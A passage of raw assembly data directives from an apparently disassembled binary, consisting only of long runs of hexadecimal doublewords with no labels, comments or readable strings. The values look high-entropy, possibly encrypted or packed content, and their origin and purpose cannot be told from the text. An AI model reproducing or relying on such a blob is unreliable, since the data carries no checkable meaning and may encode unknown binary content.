4090FEF4h, 3056C8E5h, 30C1AEFh, 377C317Ch, 2F0CD12h dd 400CCC19h, 0C80FF2F4h, 873D5B4Ah, 0D24838CAh, 0FFAE68D2h dd 0BE2C45E6h, 63168B37h, 50CB2A0Bh, 36FD95DEh, 0BF5C5BF2h dd 3EC6C730h, 55D82F4Ah, 879887Dh, 0CC276326h, 0BFE9137Eh dd 0FC3DD387h, 0AFBA8D02h, 0DD73D423h, 0C8EB889h, 7FFD5BE2h dd 0AD8B140h, 4BBF3Bh, 9932A9F1h, 40A5E915h, 7A09BEA0h dd 843D7535h, 5009F09h, 263B1381h, 204EEC9Dh, 66505A11h dd 5961B796h, 0F8ABED0Ah, 7C35FEAh, 0C82D1274h, 1C2D1B07h dd 3011C316h, 0F778D0Bh, 0E9C0B709h, 0B818601Dh, 4779002Bh dd 69D32D34h, 4807307Ah, 441E0D05h, 0D689E9F2h, 0E6B901BDh dd 6F9997C4h, 0A8FBF5C4h, 67361389h, 0FD4B6AF3h, 280D80E6h dd 905173E8h, 8803F71Ah, 0E57D87F2h, 485DA5E4h, 0D25C366Dh dd 8FAEFC12h, 0FA588950h, 84C425A5h, 65EFE3F6h, 8DD40D87h dd 9B32F8EAh, 2DC2B003h, 4F583078h, 0E9FD2A18h, 13BE964Ah dd 501B0BCAh, 0E9424653h, 2F89DC0Ah, 57C08FFCh, 4FC6855h dd 0E9329A36h, 0FFEC9529h, 9CA6DD1Fh, 83CB57F0h, 7E23C1A9h dd 7B64188Dh, 58659D51h, 8253299Ah, 734F9F48h, 6FEA0DBCh dd 13166A27h, 0D25937A4h, 6C59EF0Eh, 9828020Fh, 6B1CE9A0h dd 0A54B9897h, 2F2C9B57h, 7C95AAF2h, 67D7A7CDh, 2FE90678h dd 0ECB8A0C3h, 97750309h, 0CC4AF755h, 97D3DA55h, 0B0BF145h dd 3164FFADh, 3D12824Ah, 3FFF6DAAh, 0AECB26FCh, 78683DC0h dd 6F341D12h, 3736E70Ch, 495A9DC7h, 0AA2567B2h, 27D67BB1h dd 799CB857h, 7512AAD5h, 54CBCF7Ch, 6E5050BAh, 0D800B492h dd 5278C176h, 2DCDBAh dd 0D0212CB2h, 0E742055Ah, 8C1CAC2Fh, 261ADCC6h, 2650FD0Ch dd 39ED087Dh, 0BB4A8D28h, 0D154121Fh, 605E2092h, 68079081h dd 5F4C2903h, 43AA0148h, 2E93372h, 317F033Ch, 2ECB38F6h dd 7FAC04A2h, 2880FD39h, 0C6CBBB04h, 0CCB6647Ch, 5A008026h dd 899FAB91h, 4AE912C2h, 5DBF316h, 48A932F0h, 0A111A8C3h dd 51242F3Fh, 0A95E5E08h, 0F646825h, 32E1E90Eh, 51773A3h dd 95DEB228h, 97A2D68h, 0EAC85FD2h, 0EABEF468h, 3C25046Fh dd 0C85162E2h, 0E98869C1h, 52872DE6h, 0F724CE88h, 0E95131ABh dd 0BBDC50FAh, 4E097ACFh, 0F8DF313Dh, 80981E9Dh, 2FF4A746h dd 4AC1312Fh, 0BA5E007Eh, 7C4C62F6h, 819D72F4h, 20CD803Ah dd 0E087C5CCh, 0E9BBC6EBh, 0D4B7415Eh, 270550D1h, 17099B7h dd 0E9128B36h, 0BD21E04Dh, 1E7B0500h, 0F0F58128h, 48077E54h dd 0EF131509h, 4974EA55h, 126AF2BFh, 0A22A218Dh, 397FE90Ch dd 0C06EF17h, 13D023Ah, 8BD525Ch, 0BF9EB250h, 32C531A0h dd 60FD1253h, 7A187EF7h, 38A44EB4h, 4894031Ah, 4E9EE01h dd 700712CCh, 469241B1h, 2432C974h, 16B885A0h, 0A2591189h dd 0C2BA4852h, 0D8F4E954h, 5C681330h, 0B44CFC03h, 6E398CBBh dd 0D2B463D2h, 4202F32Eh, 6A140CC0h, 0E6B063E2h, 442F077Fh dd 87166C8h, 7DA86852h, 9F2A73Fh, 6909FD22h, 821FA3FFh dd 0B9EB8466h, 54538920h, 0E95B412Fh, 0F0D02E95h, 3DDA6AF6h dd 0E3920170h, 0FB2DF46Fh, 84F9FD12h, 6BC1CFA4h, 0BDD69CE9h dd 0F8A55067h, 0BB57D252h, 3A4EDDBAh, 917556EFh, 0D02C881h dd 0F5EA6BE1h, 7C895CE5h, 0F6074EFDh, 8D064BE4h, 79C6CCD9h dd 0F2459428h, 7028F612h, 0D6F7F707h, 1304DE26h, 0A83DE956h dd 2246531Dh, 2047332Ch, 71D8C269h, 23981762h, 9CD2B300h dd 5EF2315Ah, 37D14F89h, 0AFCB8580h, 813CEDE2h, 8C576D05h dd 24D7EB74h, 4E367C90h, 5FC4C046h, 29136A3Dh, 0F55BDD25h dd 0F3E9EB90h, 0A393994Eh, 0D2E599B7h, 13E7EDD8h, 1059EE88h dd 5A75EF17h, 6ACBA6AAh, 430B0C8Ch, 0B874645h, 620564A6h dd 7A2FD80h, 0E1EC31B4h, 524BC701h, 0D187492Ah, 3A32762Ch dd 0A6E1298Bh, 208CCC81h, 2AF31A72h, 801E5F1h, 8A388AE9h dd 0C9A4041Dh, 1CFF26E7h, 4721128Ah, 12AAAD1Ch, 33D932FDh dd 1C661540h, 0C10F00A0h, 942D02E0h, 3E488071h, 0EBA5A5Dh dd 0E9C201D9h, 0C2CC3D1Ah, 469FD027h, 1F652619h, 235D69E5h dd 0A2217537h, 4BA2D441h, 0AF2B6FDDh, 562572DBh, 0CD4E90Ah dd 0C9656AD1h, 16B12A2Ah, 0A34EFCDBh, 6191EC51h, 5B70FA5Fh dd 0BF6F7405h, 0A27AE8A5h, 0BCABA473h, 0E95CE091h, 0E8A9B70Ah dd 3F137F74h, 0CABB0D84h, 61AA4B83h, 11EB72Eh, 0E1E5C2BDh dd 1DCDF830h, 867E787Dh, 0FB56A4E9h, 0C52DE577h, 95206EEDh dd 92BB3AD0h, 8190F50Ch, 0DECAF4D1h, 801FD708h, 4452684Ch dd 2BC980A9h, 0E8B95000h, 974A9343h, 0F09FE050h, 0D9DDE9F3h dd 4EB64970h, 521BDC3Eh, 63905F95h, 2166EB68h, 76819957h dd 405E4Fh, 802AB7A4h, 63BFB1F7h, 83D5E9E3h, 0B61ABC2Fh dd 3CE2B7DBh, 6CB5B7CEh, 62902564h, 57A59EFBh, 982721C4h dd 0D29D5C1Eh, 18C5A84Ch, 0AB833CC0h, 8B84B529h, 70ED0816h dd 3BDD8989h, 680D3D2Ah, 96935B2Fh, 5CE9D10Bh, 9E71DC23h dd 428F0ADDh, 53B6829Fh, 51D882B0h, 4E5FB380h, 0BD425395h dd 0CD11FE97h, 0F6F03FADh, 960C13C2h, 80A7016Dh, 3012E275h dd 1602582Fh, 40685A98h, 0B848A752h, 0FC1C6AD3h, 0DEB78D82h dd 64880989h, 24BFAA59h, 2863F6A8h, 4B03D1C3h, 0FAE14994h dd 372F2D79h, 9CDEB02Fh, 29B8406Dh, 31597363h, 625EF025h dd 92004839h, 0D5031638h, 58A71F09h, 0F3811BF9h, 9E25A409h dd 6FE98053h, 161E6C22h, 0A81D87E9h, 5A90E6C2h, 0DCC1B5B9h dd 0A7BD2113h, 0C2AF592Eh, 0C0297D0Ah, 2449F159h, 98688B05h dd 63BF1203h, 0E9780209h, 4EF47039h, 0F068345Eh, 46092DE8h dd 85F6FCFh, 39240705h, 42CAFBADh, 0D9F7CCB7h, 8BBB60D3h dd 197E3C55h, 2A7DEB06h, 0CAE4D5Fh, 787E11EAh, 1A9756C1h dd 1A87DD4Ch, 12843A29h, 5517EEF2h, 0EBC0A6B2h, 0B05095F3h dd 0D0B08775h, 0B2408D4h, 6A3A7Ch, 2574EA50h, 4D4B59C9h dd 86C0D72Dh, 5B00B0BAh, 0E281669Ah, 5782602Eh, 0E9286225h dd 0C620BFF0h, 19B239F9h, 7A9705F6h, 0ED1C4FAFh, 0FBE9F0B2h dd 0C02ED098h, 0CFC71C2Fh, 50D8A88h, 0AE58C388h, 0F37BC3B5h dd 0E952040Fh, 0E4E95655h, 22275104h, 173EA848h, 89BB6F25h dd 0F1B57BD5h, 9A752EF5h, 0F286D82Bh, 0B3301B69h, 0DE4ADA43h dd 0AB332F48h, 3BBF02E1h, 0E98316E6h, 0BA8423CFh, 0C08D85F9h dd 0E4B26F65h, 0AACF6838h, 5E647E8Ch, 902BBACBh, 0CA8CB4Bh dd 8549EF68h, 13C2945Ah, 0FF7DAA5Ch, 82188A37h, 0BE5D3891h dd 0BA6A9A00h, 5AD6294Bh, 2F1471B9h, 9FF63C84h, 27E77108h dd 0F69C815Fh, 3E55A61h, 0A455A86Fh, 4EC6C1BBh, 788A3B40h dd 0EC7C8A16h, 4B79C65Eh, 0CFB8C085h, 321A2509h, 47D7F712h dd 985114CCh, 2C91CE4h, 0D440276Ah, 0F50B05D0h, 5412CB4Ch dd 83BA006Ch, 2954F853h, 0B8E9CA1Ah, 0B481C8E5h, 0C98180BAh dd 5123A60Eh, 1402DF46h, 0E0BCD61Eh, 586D32EEh, 607EF7A7h dd 0D328B650h, 7B64EB80h, 0D20B9106h, 9518A876h, 43FED51h dd 1233D3Eh, 529C80D5h, 32084311h, 1692DEE9h, 979EEE5Fh dd 0D67FB34Fh, 936E91FBh, 0D3F7011Ah, 9AE0730h, 896CB891h dd 0CE0920FCh, 0E50A5EACh, 61F3AE5Eh, 451ED641h, 6B5EE91Ah dd 0CFCBB00h, 0FD97716Eh, 0E1282105h, 21A27BD7h, 0A8C13886h dd 2813F44h, 823A2DE5h, 54604D1Ch, 8F5E386Fh, 165D18A0h dd 0FF5E4C74h, 805ECC4h, 8FF1B0E9h, 0E6162260h, 28A71EEEh dd 72C61DFEh, 8B5FF0EAh, 77D68B74h, 2B204696h, 0DD505C5Fh dd 609DEA20h, 0E6F2E44Dh, 88211FECh, 40CBD7E6h, 3B43B9E4h dd 0BD3B5681h, 0D5216E7h, 71E61DAFh, 4E27A46h, 0C299900Bh dd 4BEA7995h, 59EA9700h, 0D8957895h, 49D4B56h, 0C2ED80B8h dd 20DDD44Dh, 6859EE76h, 2912163Fh, 80A10CEh, 659AE90Ch dd 0B70FF627h, 6B75DE7Fh, 4D9925C8h, 63A024C5h, 0CFF49F55h dd 924AF9CAh, 35484000h, 4E39A489h, 8B17AEA2h, 331444A2h dd 8080F52Fh, 0BE01A313h, 0E54EB005h, 0F6AD3154h, 6C20C94Ch dd 721AB901h, 0D9F70E78h, 0E9F1342Ah, 24FD7946h, 0FBA05CEDh dd 1D3E37BFh, 0E0AD1971h, 12605918h, 90E2A647h, 0DCDF2FF4h dd 277FD022h, 4DCE80A0h, 407BA070h, 7121582Fh, 597C3C54h dd 0B4046F32h, 0BE18E41Ah, 4BCE1041h, 0F2D84740h, 937A5C5Ah dd 5D86E90Bh, 0AFDF7A44h, 843530F0h, 52922709h, 0B4AC9475h dd 0FB74AD7Fh, 0A3547ABBh, 84120FD1h, 0F2BFC9B6h, 0F4B6D714h dd 3C7D5525h, 8A749C59h, 0BBCC8E0Ch, 0D4F5C213h, 0F996A163h dd 0F9EA0418h, 1A4A7AD0h, 9C325E4h, 3896741Bh, 83301380h dd 84B5DB49h, 41BA5F01h, 4259D086h, 41787635h, 10C01D7h dd 0D38072D6h, 0E97AF0EAh, 0DD223B25h, 0C96E6E5h, 0EF1E64EAh dd 0AB4E5ABCh, 0FCE94E60h, 0B779B7D5h, 0E9583E68h, 313F6B2Dh dd 0BE5CA40Bh, 7265DF82h, 0C821464h, 9532C5Eh, 382CE9F5h dd 0EFEC9994h, 711A740Bh, 1362752Bh, 0E5A0806h, 7F477909h dd 0E85A026Ch, 5DB90017h, 1D4A126Ah, 0C508440Fh, 2CD4BB88h dd 6AB401FFh, 2A7A7861h dd 1336F22Ch, 0A80CEA72h, 5B6F58E4h, 410F58A8h, 4FCE8B06h dd 0AED7D63Eh, 0DF58D61Dh, 25F0D48Ah, 495EC875h, 27C2FD93h dd 9C387551h, 37275ACDh, 42EB8E3Fh, 0DF79BBE9h, 844CA1Bh dd 0EE40A1B3h, 43A9459h, 0C5329F27h, 82E102Eh, 0BD9DFE62h dd 0ED3B680Dh, 800BE416h, 4D68FDB1h, 174EE468h, 0BA15AC8Ch dd 0FC284F8Bh, 0B7B32CC1h, 896B0819h, 5CA8BA03h, 0BF07660Dh dd 94757C2Ch, 9194F5F4h, 0FD843DFCh, 55680B16h, 825FF162h dd 269AE64h, 99D451B0h, 72EF9F4Fh, 7EEF3CCDh, 0F7817680h dd 17184B65h, 6E94717h, 8001094Bh, 675BBE3Dh, 6DF4EB57h dd 0FF194E5Dh, 1037312Ch, 0B91DEECh, 7AF709E9h, 0B1824AA5h dd 0AB2CC46Fh, 2596D39Dh, 4B4C3CBh, 32FF2BC6h, 415AF150h dd 0C8FCC5FCh, 0D75F3127h, 5205E56Ch, 0BB390B42h, 0C2FA0512h dd 0F70CBFBh, 77576564h, 1664AEC1h, 76A1176Ch, 9F943A8Ch dd 1C2A0FFh, 61EB545Ah, 0EF525A4Ah, 0A0B2F29Ch, 0A0CE11E9h dd 3032392Ah, 612C6F26h, 45BD42Bh, 0CE68C503h, 3871707h dd 6C9CD15Dh, 30A86561h, 0D65CF60Dh, 0C0011611h, 0B4500A03h dd 6ECB133h, 0A83DCF9h, 0A3C48003h, 0C258E681h, 4A629DDh dd 6842CAB3h, 985553B3h, 80F3F55Eh, 3A1E0ABFh, 458B1F64h dd 98AF7A6Eh, 51FAB51Bh, 0F4FD30B7h, 2D3E9235h, 0CD945063h dd 0A69ED797h, 605F01EAh, 0FFD299E3h, 40E7F32Ch, 0A3BA2964h dd 0A715A80Fh, 0B174A418h, 288EBD0Fh, 65D7A77Fh, 0FE018BEAh dd 826A3277h, 0B460C88h, 2BD12277h, 3095654Eh, 36313531h dd 3847592Eh, 0B31E5A24h, 112511Eh, 2851CCEAh, 0B9F8B041h dd 4EDBECA0h, 6B31E1CBh, 932416B1h, 0A32E14AAh, 4509B064h dd 5704F45Bh, 2E9BF176h, 0A29284B6h, 2CAE189Dh, 12B6C5ADh dd 0B8517B31h, 579E100Dh, 0FE876813h, 97F8B8Ch, 492EA42Fh dd 288E8AC5h, 0D7271C6Ch, 5C4FBA4Eh, 0FC5E03A2h, 0C06E194Dh dd 4CD4C67Fh, 0B02C4B63h, 0C19D3730h, 0E92A5487h, 0DA80F4F4h dd 5ACB5229h, 40B9F849h, 5B7F483h, 91BEACC4h, 0A04C6DC8h dd 0E5297F3Fh, 54275007h, 14750846h, 5D25C420h, 0EE7E6479h dd 5E547B55h, 0BBE3852Ah, 0A4CBCCF3h, 0FF30CF25h, 0A1880283h dd 0D33FD2F6h, 0E9E086FBh, 0C6B776C3h, 781820E6h, 0BA5FC39Fh dd 2E7D5C3h, 3245D7A7h, 8315127h, 0B53AA53Dh, 0CBDCD0Fh dd 0E2D7858Dh, 42A4F17Fh, 0EC63E907h, 0D7052203h, 0D260DF79h dd 16B77C7Ch, 6E8AAF54h, 4DEC4169h, 0C4BE7E27h, 0B2E4FD2Bh dd 7BD20E42h, 9AE9F901h, 407194D8h, 0E8200890h, 0F35C4F73h dd 3E307CC6h, 29C2F906h, 0AB2B16B7h, 77CD0521h, 274BCBB8h dd 72D456EBh, 2F01E5C3h, 7761A2EBh, 0FB526618h, 1735DC84h dd 31C565Ch, 5310D86Eh, 4EDAA94h, 0AC4BF981h, 0CECD3F64h dd 0FC58D30Bh, 303BA820h, 9F9698E2h, 1289F57Fh, 0EC4CB61Bh dd 40E47EF9h, 3EB21CC0h, 5880DAF6h, 8A18D7EAh, 97684C18h dd 0DE01165Ch, 0C472270Eh, 54815D77h, 7A071A10h, 5A8D8CADh dd 79459F39h, 6056D702h, 24360CE0h, 134113FBh, 7ED4F26Eh dd 0BF5B807h, 12EE79D8h, 55B51345h, 614232C2h, 8E2F78BAh dd 22EE5FBDh, 0C0C4CD65h, 0A030EC2Dh, 8D18BD8Dh, 0E6D10916h dd 3402EEC1h, 480019E8h, 10D3F25h, 28050F0Ah, 0EF5A9E61h dd 0E6015CB0h, 0C731BD0Ah, 4D1F2C58h, 73503E0h, 89502833h dd 288F2049h, 4A638231h, 90BD555Dh, 23DAA39h, 78F16852h dd 23604221h, 7C047AE2h, 0FA872665h, 57C7C3BEh, 858D09EDh dd 5316B844h, 70AC34B3h, 0AB295812h, 0BF036DB2h, 10633D67h dd 32D9C1F1h, 19EF4BA8h, 766329Bh, 14B54F3Ch, 80E82864h dd 1C31DF34h, 0FDDC2DAEh, 68D9F7E0h, 0CC554A5Eh, 961385F7h dd 0F10160CCh, 8213FF7h, 40C4282h, 0A87F1D87h, 1C340807h dd 0D45D140Bh, 74644234h, 0D669A574h, 84299338h, 0B4E5BD4Ah dd 555132EBh, 0AA1508FFh, 81B3C09h, 47A79FD9h, 0C5962909h dd 8953AC94h, 0E17F6B17h, 4AA57BEFh, 0C55611F7h, 9574DE63h dd 385F7109h, 322EE42Ah, 5D4B79FBh, 73950AC0h, 6E1A6880h dd 0E0927916h, 24BC5834h, 52D87D52h, 2D932D59h, 860AE5BDh dd 0A577A3E9h, 91098275h, 2E2C178h, 139C470h, 3BC2015Eh dd 6B03B12Ch, 48F29518h, 731172CEh, 67C992D1h, 523122E9h dd 0EF255B3Dh, 48A454FCh, 9729AF07h, 40CF0123h, 2AE9081Ch dd 128FB493h, 225D5FFBh, 50C9EBA0h, 6EFC3B59h, 0AECE91A5h dd 9C2A2F41h, 9551E718h, 312F77E6h, 0ABBC80E8h, 126FE33Eh dd 0A0A1E953h, 59955C7Ah, 1C7D4B3Fh, 96A24D11h, 3E29FF4Fh dd 0C52ABAFDh, 0EAB3AA54h, 5D3F797h, 67A0716Dh, 73CEB9C0h dd 0F11E5E5Ah, 619340A0h, 864E05FDh, 6899D8BAh, 592A2325h dd 0AE2965A4h, 7B12A152h, 0B559A7B0h, 329EC03Ch, 0B7FE0501h dd 0D442941Dh, 732661E0h, 780A57Bh, 0AF5AB408h, 2B8B26A2h dd 0FE9DCB70h, 63C1FBBFh, 22F76F97h, 2C904D6h, 0B6BF1356h dd 2FB24F53h, 0E289AFC5h, 262578F3h, 71E2E828h, 29202840h dd 44469Bh, 69521682h, 0EA98EA81h, 0FF3A4B02h, 30088B10h dd 0F4B21E5Bh, 0E9030A3Ch, 4235ED07h, 556CB91Ah, 69586815h dd 565A7833h, 0A6EB9995h, 0F0257EA8h, 0AC54D978h, 0BB61133Dh dd 0FB4FD18Eh, 0A7292908h, 51D552EAh, 0B108E24Bh, 0F13170D2h dd 3FFE770Ah, 28630B8Ch, 435F1E2Bh, 775049B6h, 0D13A4A27h dd 0E150D500h, 0C20C8218h, 55E77201h, 4692D4FBh, 0E6F1F290h dd 201B1B32h, 40CF8AC1h, 4BF52369h, 684F81BDh, 714860F2h dd 0D86F17F3h, 586AA801h, 0DAF78178h, 0B7E7BA25h, 56BC7690h dd 5F1D9AC4h, 8952E829h, 50D5A016h, 978ADC88h, 0F15E8268h dd 13BC6EB5h, 8C1CCC68h, 659E2F16h, 2AD3B900h, 2F731BEh dd 5FBB53D1h, 0C5D0634Bh, 570EF60Eh, 71E3C030h, 0BF79B50Ch dd 2E4D300h, 5895B816h, 9C5D97A8h, 61EC95BCh, 38B4CF25h dd 4B406813h, 0A57AE96Eh, 0E85140A0h, 147BE868h, 0D65D471Ch dd 0EA37C44Eh, 2C68933Ch, 0C7D73FBAh, 0CC078710h, 1348584Ah dd 0EC04F55h, 0A02D493Dh, 3B4EDBEh, 0E90F4F3Ah, 6225AB0Ah dd 4BE5D557h, 5F853025h, 6D2F2668h, 0C017153h, 468997CFh dd 7F70635Ch, 950E018Eh, 0BBE9C831h, 88CE6EC1h, 0C51BED4Eh dd 0B1C835D4h, 6151E8Ch, 33E3CC6Bh, 9309BF16h, 8171B960h dd 100B8F6Eh, 413440CAh, 1C7E0557h, 2988D8E9h, 28B9D0A7h dd 0E9E82CFAh, 5011B20h, 3F303835h, 40D1EFE0h, 0E9AC4896h dd 0F8599768h, 427E266h, 0EA81FB64h, 72A50D86h, 2E5B6231h dd 0E0C2FFECh, 0DEE1164Eh, 49133A48h, 0C2AFF6EAh, 5B143068h dd 51348Fh, 436856C0h, 3906253Ah, 15C8E95Eh, 0D2BB7F54h dd 694A0447h, 0CD89053Bh, 0EE9297F2h, 0A86AF6A5h, 0D9BAF434h dd 10E7629Eh, 680EC638h, 0BA163BE3h, 9B56738Fh, 6B9D6802h dd 535F2657h, 0EA556493h, 0E7F9A217h, 0E917FE85h, 55248DBh dd 0CD791316h, 752004BFh, 0CB8704A5h, 0A6BB4081h, 5834F3CDh dd 0A8DE4B01h, 2DAFE021h, 1C0D7E8Bh, 3D074AC9h, 0D56F87CBh dd 6534AE6Ch, 0B5511E00h, 3BCD80DEh, 0F6A6660Fh, 8C011D57h dd 228CFE59h, 9D343A44h, 0F9AD33DFh, 243E0112h, 0C6A9243Ah dd 0CC9D340Eh, 125A4251h, 0E8AD1817h, 0E0E2F42Fh, 50A5075h dd 0CA4C8FEFh, 6A50AA10h, 0DC476908h, 3B5149F0h, 0DD266842h dd 0F6FBBB6Bh, 50582625h dd 2EE0380Dh, 0C039FE5Eh, 7FD3F07Eh, 56A33F02h, 4ABF21E9h dd 9D20F736h, 1D232822h, 183EE1ECh, 0CC0782Eh, 66482BEEh dd 9A7859E9h, 1ADD5127h, 75A4C24Fh, 0F4A5E24Dh, 3E544BEBh dd 5EC053C4h, 0A022997Fh, 13E2F3F8h, 10C4D6Fh, 0B07B6DF4h dd 0CFA77B13h, 0D57A8225h, 93635A5Ch, 4BE4EFE4h, 0F45EEC41h dd 0C275AE7h, 9CA5457Dh, 0D37A4BE9h, 6F0BC8DAh, 0DE303331h dd 5C963F74h, 7999E34Dh, 55132E69h, 13013DF2h, 81398858h dd 47D0BACFh, 49C0A040h, 0BF307286h, 0C31789DEh, 0BF9E38BAh dd 42D82718h, 97A34E8Ch, 685856DEh, 9D727062h, 1CCCB5FCh dd 52DD3988h, 0F085EEBAh, 0B8F682E9h, 49D0819Ah, 0F3701E74h dd 0E907A0F7h, 27D79C6Fh, 0AE85CD57h, 0F95B9807h, 800348B2h dd 0EAC0F4C2h, 1D37B708h, 3BACD305h, 0F180A420h, 691270E3h dd 0B4FB0E31h, 9050450h, 0D9013089h, 59885788h, 8087691Eh dd 0FA4A0437h, 0C854D70Bh, 9A5CD670h, 3F4E0FA4h, 424927FAh dd 5F2759D6h, 0DBB5C04Ch, 3B7C2541h, 0DDC39D92h, 30D41C86h dd 8EF9BFDh, 2F20A2F1h, 537258D7h, 45A07587h, 91D5EF7h dd 0E40C2560h, 711BA936h, 0DEA6B847h, 8C0CC0D8h, 0F8010E9Bh dd 0B4172CBDh, 213841C0h, 3452D10Eh, 0E190D793h, 3DF9105Eh dd 8E81AB97h, 28BBCE61h, 1D6F717h, 6C676696h, 0D64000Ah dd 0EBA94E17h, 0C7E90F44h, 0EA0304EDh, 61D14558h, 492EB1B7h dd 886B31D8h, 80510772h, 75E07618h, 0E258FBAh, 57827F3Ah dd 0B65872E9h, 6072F69Fh, 5884179Ch, 458B5B96h, 0C33D405Ah dd 6966BF1Eh, 0D72D7BB0h, 906D35Fh, 30DD05C8h, 83792FD5h dd 2A5AA1F1h, 0DBE0B189h, 0D293A9CAh, 39321760h, 21BEF86Ch dd 0D34F277Fh, 0BF189C77h, 5C50E23Ch, 56179CA5h, 90AB0C41h dd 808842F5h, 0DA31C704h, 6485095Bh, 0CEBD7781h, 96CF8C7Ah dd 7F295940h, 0A1365BFBh, 2A153580h, 229C79BAh, 4F072EF6h dd 98E575A5h, 77F46805h, 5DC6AFE9h, 0C20BF160h, 0B2B061Eh dd 9B2C225h, 0DED60408h, 75EFD107h, 5A40A09Ch, 0FD970BB2h dd 33F82F96h, 7C6F711Dh, 752CED80h, 60016341h, 28E828DDh dd 0DA9046A9h, 55DC43Ch, 4EB0E925h, 0C04A76EDh, 0D47C3D25h dd 8EF2034Eh, 2E089A10h, 81EA505Bh, 1CB5208h, 0DD5E3735h dd 0DC73033h, 484B6A90h, 8248AABCh, 4EE6612Dh, 0FB5F33A2h dd 2B22C50h, 464D7134h, 950400FDh, 0B0606450h, 4F0D0995h dd 35F17094h, 40915C25h, 19E5FC18h, 55D70997h, 68617A7Bh dd 9973666Ch, 3E81295Eh, 7C01F38Bh, 0C134C827h, 2A8942E2h dd 7E7D57EAh, 83B8BE5h, 5915061Eh, 7E076851h, 0B7FEE04h dd 0D4FB41D6h, 0E9080F7Eh, 92711B2Bh, 2564DECBh, 52655B4Eh dd 34AE0E18h, 9588A31Fh, 2118D816h, 0E97B0965h, 0CA56DFEAh dd 5A64F687h, 0A276A329h, 0C573024Ch, 0E2837C5Bh, 4C9DB61h dd 6D07ED04h, 9CDD5A09h, 56622045h, 0FF5E5B26h, 0AF8E108h dd 5996C588h, 14D08A50h, 27BB9603h, 57518BFBh, 82C25CB2h dd 0B33655Fh, 9E7CD677h, 0A80DE9D8h, 0EED889A1h, 0EB2AE943h dd 3F7E8723h, 2318506Dh, 0E6800C71h, 0BBC6CF4Ah, 0C0FA240Ch dd 0CAE9043Ch, 0C6F2AB1Ch, 8C4F4717h, 5976B112h, 3EB35307h dd 5BC7D828h, 2945020Bh, 0E5880332h, 87DBF8B9h, 3F33BE39h dd 4B90C04Ch, 478E89A5h, 0CE68C14Ch, 0B7FC2E78h, 767504E2h dd 0E2D672BDh, 64802012h, 9D237768h, 0E97B0D9Ah, 6406E986h dd 8F681694h, 9E80F92Dh, 0F5106389h, 0FE20469Ch, 33BB043Bh dd 0BA2C6721h, 0DEADC004h, 0E0380500h, 893EE5F4h, 96A012C6h dd 127E3D54h, 0B2BA4717h, 0B52C1C8Ah, 0C8283AC6h, 2FE91AE3h dd 1740621Ah, 593D194Eh, 0BACAF7Ah, 22E5E507h, 0E95477C6h dd 0D47BF73Bh, 935242Ch, 735BBD60h, 81550184h, 0A72B52CDh dd 0D4A23E1Ch, 86E4200h, 7F55E95Fh, 53771D92h, 0B3917A74h dd 8AC52A01h, 657B31A6h, 0AA0A8709h, 0B8519736h, 5DBF8B7Ch dd 0D6FA77C9h, 0E7DCB90h, 75C41ABFh, 0E906EAE7h, 8FE03Eh dd 337656B8h, 35D8F765h, 70422301h, 8171E96Fh, 0E103C93Ah dd 33CB7564h, 5FDB94BAh, 289A1184h, 1761044Ah, 0A6E8AEB7h dd 5E05C8A7h, 6604FA89h, 680109A9h, 0D36F1C9Dh, 646865D2h dd 621E1BBEh, 518B7819h, 0B1AD4B17h, 31643B4Eh, 1234EA02h dd 1EEB2113h, 0BE3A753Ch, 3689B20h, 1883D22Eh, 47C799C0h dd 3474230Bh, 0B2965F89h, 765B512Dh, 6FE4E221h, 3CDCB536h dd 3FBEBB87h, 0C4A31207h, 0B81E0338h, 1F6D67B4h, 8DF409D2h dd 0A45B3F80h, 0D343B92Bh, 0EE9FE00Bh, 0C3ED1F60h, 7DAD0D54h dd 8458B53Ch, 648B0882h, 0ADE5677Dh, 0E962EAD6h, 5E0F5097h dd 0C4A3F205h, 4413F801h, 5813EDC8h, 3FA9B74Eh, 8001EFC0h dd 0DDE940CFh, 14D03A6Fh, 5A657760h, 0EAC6854Ch, 78F1FD09h dd 340788Ah, 142EB286h, 12F1C729h, 4217642Dh, 6EF4E5EFh dd 35ED4040h, 95519001h, 88065D2h, 199A6CE9h, 7DD22D12h dd 0E829C502h, 5D078405h, 2883C9EFh, 5AF41D93h, 400C0F6Ch dd 9FD8E355h, 50058814h, 5838428Fh, 2D9E60BFh, 762F874Bh dd 139C565Dh, 29F20A06h, 0D3E281C9h, 0D86F675Eh, 0F2DAAF2h dd 0E435E58h, 32C901A7h, 516A01D7h, 600DBE56h, 0EF018149h dd 0C7577F0h, 173A27E9h, 7964EDBEh, 0D1A5D24h, 92F17EADh dd 295FFB05h, 0DAB5CBC9h, 3DD673A4h, 2EA50DEBh, 47C5695Ch dd 0EA2C13BFh, 1B718139h, 43E17E7Ch, 0F40AA733h, 44685810h dd 9CA21C4Eh, 3AFE26D8h, 0FC7D1925h, 2D84B9Dh, 0BE8003EEh dd 0FD65028Bh, 5EF72152h, 60F2AB58h, 772D022Fh, 52F8DC22h dd 0A4AABA78h, 0FAA977h, 3B11C2D4h, 5C0F9864h, 0E3F7B19Bh dd 0F9F7C742h, 0A60B6D53h, 9E2A44C3h, 80E39209h, 0C1295E46h dd 96C94FDEh, 4AC4F44Fh, 0B01B14C6h, 0F8BBB0D2h, 67523573h dd 4D3E8441h, 6E0C102h, 0F7C9340h, 0F7642C00h, 1C383DBh dd 9C0904Bh, 21F476DFh, 91B67302h, 0D095020Bh, 4BBAC89Eh dd 534C860Eh, 6E5909E4h, 661705ADh, 274C8CACh, 0F438AA4Eh dd 0E5E97756h, 4B1BB72Fh, 0BD7F28A3h, 4253CFCh, 35E8B7FCh dd 4770B803h, 0CC306275h, 41E4B402h, 0F4664B88h, 430BC75Dh dd 57174D75h, 186A9484h, 3D66E854h, 9B982B42h, 505116E6h dd 7FD0882Dh, 97521212h, 57466810h, 30A8E913h, 0C619CA31h dd 0E3C1370Ch, 81FEF405h, 13496254h, 7FF80977h, 1A8B68A0h dd 510086A6h, 5F5A7AB9h, 4B5BF3Fh, 3139CC44h, 0BA4CBCFh dd 0B0752168h, 1605446Ch, 0EE294062h, 0A880692Dh, 362739EFh dd 504E58E9h, 3FA291FCh, 555D3548h, 3C2B73B7h, 64D745CAh dd 82D0C388h, 0D4B2431Dh, 0E585FCCh, 1068C159h, 210E8925h dd 1118F005h, 0E6091E79h, 0FF0D4049h, 3BE47168h, 0B912F49Dh dd 1205FBA4h, 0F64FA41Ch, 0E43DD209h, 83B856Eh, 0FA3A28AFh dd 0D29A3F48h, 3135F88Dh, 45EF508Ah, 3E5741F8h, 0F083C99Fh dd 0D95CF701h, 0A1E510E5h, 23892F4Ch, 0E1890610h, 